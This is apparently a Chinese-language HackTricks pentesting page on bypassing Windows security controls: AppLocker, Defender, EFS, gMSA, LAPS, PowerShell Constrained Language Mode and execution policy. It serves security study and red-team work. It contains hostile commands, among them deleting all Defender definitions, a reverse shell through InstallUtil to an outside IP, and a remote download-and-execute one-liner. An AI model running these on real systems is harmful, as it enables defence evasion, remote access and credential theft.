hacktricks/windows-hardening/authentication-credentials-uac-and-efs.md
2023-08-03 19:12:22 +00:00

18 KiB
Raw Blame History

Windows安全控制

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

使用Trickest可以轻松构建和自动化工作流程,使用全球最先进的社区工具。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

AppLocker策略

应用程序白名单是一份批准的软件应用程序或可执行文件列表,允许其存在和运行在系统上。其目标是保护环境免受有害的恶意软件和不符合组织特定业务需求的未经批准的软件。

AppLocker是微软的应用程序白名单解决方案,它使系统管理员能够控制用户可以运行的应用程序和文件。它提供对可执行文件、脚本、Windows安装程序文件、DLL、打包应用程序和打包应用程序安装程序的细粒度控制
通常组织会阻止cmd.exe和PowerShell.exe以及对某些目录的写访问,但这些都可以被绕过

检查

检查哪些文件/扩展名被列入黑名单/白名单:

Get-ApplockerPolicy -Effective -xml

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

$a = Get-ApplockerPolicy -effective
$a.rulecollections

应用于主机的AppLocker规则也可以从本地注册表中的HKLM\Software\Policies\Microsoft\Windows\SrpV2读取。

绕过

  • 绕过AppLocker策略的有用可写文件夹如果AppLocker允许在C:\Windows\System32C:\Windows中执行任何内容,则可以使用可写文件夹绕过此限制
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
  • 常见的受信任的"LOLBAS's"二进制文件也可以用来绕过AppLocker。
  • 编写不良的规则也可能被绕过
  • 例如,<FilePathCondition Path="%OSDRIVE%*\allowed*"/>,您可以在任何地方创建一个名为allowed的文件夹,它将被允许。
  • 组织通常也会专注于阻止%System32%\WindowsPowerShell\v1.0\powershell.exe可执行文件,但忽略了其他PowerShell可执行文件位置,如%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowerShell_ISE.exe
  • 由于它可能对系统造成额外负载并需要进行大量测试以确保不会出现问题,很少启用DLL强制执行。因此,使用DLL作为后门将有助于绕过AppLocker
  • 您可以使用ReflectivePickSharpPick在任何进程中执行Powershell代码并绕过AppLocker。有关更多信息请查看https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode

凭据存储

安全账户管理器SAM

本地凭据存储在此文件中,密码已经被哈希。

本地安全机构LSA- LSASS

为了实现单点登录,凭据(哈希)被保存在此子系统的内存中。
LSA管理本地安全策略(密码策略、用户权限...)、身份验证访问令牌...
LSA将检查提供的凭据是否在SAM文件中(用于本地登录),并与域控制器进行通信以对域用户进行身份验证。

凭据被保存在LSASS进程Kerberos票据、NT和LM哈希、易于解密的密码。

LSA秘密

LSA可能会在磁盘上保存一些凭据

  • Active Directory计算机帐户的密码无法访问的域控制器
  • Windows服务帐户的密码
  • 计划任务的密码
  • 更多IIS应用程序的密码...

NTDS.dit

这是Active Directory的数据库。它仅存在于域控制器中。

Defender

Microsoft Defender是一款可在Windows 10、Windows 11和Windows Server版本中使用的防病毒软件。它会阻止常见的渗透测试工具,如**WinPEAS。然而,有办法绕过这些保护**。

检查

要检查Defender状态可以执行PS cmdlet Get-MpComputerStatus(检查**RealTimeProtectionEnabled**的值以了解是否激活):

PS C:\> Get-MpComputerStatus

[...]
AntispywareEnabled              : True
AntispywareSignatureAge         : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion     : 1.323.392.0
AntivirusEnabled                : True
[...]
NISEnabled                      : False
NISEngineVersion                : 0.0.0.0
[...]
RealTimeProtectionEnabled       : True
RealTimeScanDirection           : 0
PSComputerName                  :

要枚举它,您还可以运行:

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend

#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

EFS加密文件系统

EFS通过使用批量对称密钥(也称为文件加密密钥或FEK对文件进行加密。然后FEK使用与加密文件相关联的用户的公钥进行加密并将加密的FEK存储在加密文件的$EFS 替代数据流中。要解密文件EFS组件驱动程序使用与EFS数字证书用于加密文件匹配的私钥来解密存储在$EFS流中的对称密钥。来源这里

以下是未经用户请求解密的文件示例:

  • 在复制到使用其他文件系统(如FAT32)格式化的卷之前,文件和文件夹会被解密。
  • 使用SMB/CIFS协议通过网络复制加密文件时文件在发送到网络之前会被解密。

使用此方法加密的文件可以被所有者用户透明地访问(即加密文件的用户),因此如果您能成为该用户,则可以解密文件(更改用户的密码并登录为该用户将不起作用)。

检查EFS信息

检查用户是否使用了此服务,检查此路径是否存在:C:\users\<username>\appdata\roaming\Microsoft\Protect

使用cipher /c \<file>检查访问文件的权限。 您还可以在文件夹中使用cipher /ecipher /d加密解密所有文件。

解密EFS文件

成为Authority System

这种方法要求受害用户在主机上运行一个进程。如果是这种情况,使用meterpreter会话,您可以模拟用户进程的令牌(使用incognito中的impersonate_token命令)。或者您可以直接migrate到用户的进程。

知道用户的密码

{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}

群组管理服务帐户gMSA

在大多数基础架构中,服务帐户是具有“密码永不过期”选项的典型用户帐户。维护这些帐户可能会非常混乱这就是为什么Microsoft引入了管理服务帐户的原因:

  • 不再需要密码管理。它使用一个复杂、随机的240个字符的密码并在达到域或计算机密码过期日期时自动更改密码。
  • 它使用Microsoft密钥分发服务KDC来创建和管理gMSA的密码。
  • 它不能被锁定或用于交互式登录。
  • 支持在多个主机之间共享。
  • 可以用于运行计划任务(管理服务帐户不支持运行计划任务)。
  • 简化的SPN管理-如果计算机的sAMaccount详细信息或DNS名称属性发生更改系统将自动更改SPN值。

gMSA帐户的密码存储在一个名为_msDS-ManagedPassword的LDAP属性中这些密码每30天由DC自动重置可以被授权管理员和安装在其上的服务器检索。msDS-ManagedPassword_是一个加密的数据块称为MSDS-MANAGEDPASSWORD_BLOB只有在连接安全时使用LDAPS或身份验证类型为“封装和安全”时才能检索。

Image from https://cube0x0.github.io/Relaying-for-gMSA/

因此如果正在使用gMSA请查找它是否具有特殊权限,并检查您是否有权限读取服务的密码。

您可以使用GMSAPasswordReader读取此密码:

/GMSAPasswordReader --AccountName jkohler

此外,查看这个网页,了解如何执行NTLM中继攻击读取gMSA的密码

LAPS

****本地管理员密码解决方案LAPS允许您在加入域的计算机上管理本地管理员密码(这些密码是随机的唯一的,并且定期更改。这些密码被集中存储在Active Directory中并通过ACLs限制为授权用户。如果您的用户被赋予足够的权限您可能能够读取本地管理员的密码。

{% content-ref url="active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}

PowerShell受限语言模式

PowerShell **** 受限语言模式 限制了许多需要有效使用PowerShell的功能例如阻止COM对象只允许批准的.NET类型基于XAML的工作流PowerShell类等。

检查

$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage

绕过

Bypass (绕过)

#Easy bypass
Powershell -version 2

在当前的Windows版本中旧的绕过方法已经不再适用但你可以使用PSByPassCLM

编译它时,你可能需要 添加一个引用 -> 浏览 -> 浏览 -> 添加 C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll 并且将项目更改为 .Net4.5

直接绕过方法:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe

反向 shell:

A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. This allows the attacker to gain remote access to the target machine and execute commands. Reverse shells are commonly used in post-exploitation scenarios to maintain persistent access to a compromised system.

一个反向 shell 是一种 shell其中目标机器发起与攻击者机器的连接。这使得攻击者能够远程访问目标机器并执行命令。反向 shell 在后渗透场景中常用于维持对被入侵系统的持久访问。

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe

您可以使用ReflectivePickSharpPick在任何进程中执行Powershell代码并绕过受限模式。了解更多信息请查看https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode

PS执行策略

默认情况下,它被设置为restricted。绕过此策略的主要方法有:

 Just copy and paste inside the interactive PS console
 Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
 Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
 Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
 Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
 Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
 Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
 Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
 Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

更多内容可以在这里找到

安全支持提供程序接口SSPI

是用于认证用户的API。

SSPI负责找到两台想要通信的机器的适当协议。首选的方法是Kerberos。然后SSPI将协商使用哪种认证协议这些认证协议称为安全支持提供程序SSP以DLL的形式位于每台Windows机器中两台机器必须支持相同的协议才能进行通信。

主要的SSP

  • Kerberos:首选的协议
  • %windir%\Windows\System32\kerberos.dll
  • NTLMv1NTLMv2:兼容性原因
  • %windir%\Windows\System32\msv1_0.dll
  • DigestWeb服务器和LDAP密码以MD5哈希的形式
  • %windir%\Windows\System32\Wdigest.dll
  • SchannelSSL和TLS
  • %windir%\Windows\System32\Schannel.dll
  • Negotiate用于协商要使用的协议Kerberos或NTLM其中Kerberos是默认协议
  • %windir%\Windows\System32\lsasrv.dll

协商可以提供多种方法或仅一种方法。

UAC - 用户帐户控制

用户帐户控制UAC是一种启用提升活动的同意提示的功能。

{% content-ref url="windows-security-controls/uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}


使用Trickest轻松构建和自动化工作流程,由全球最先进的社区工具提供支持。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥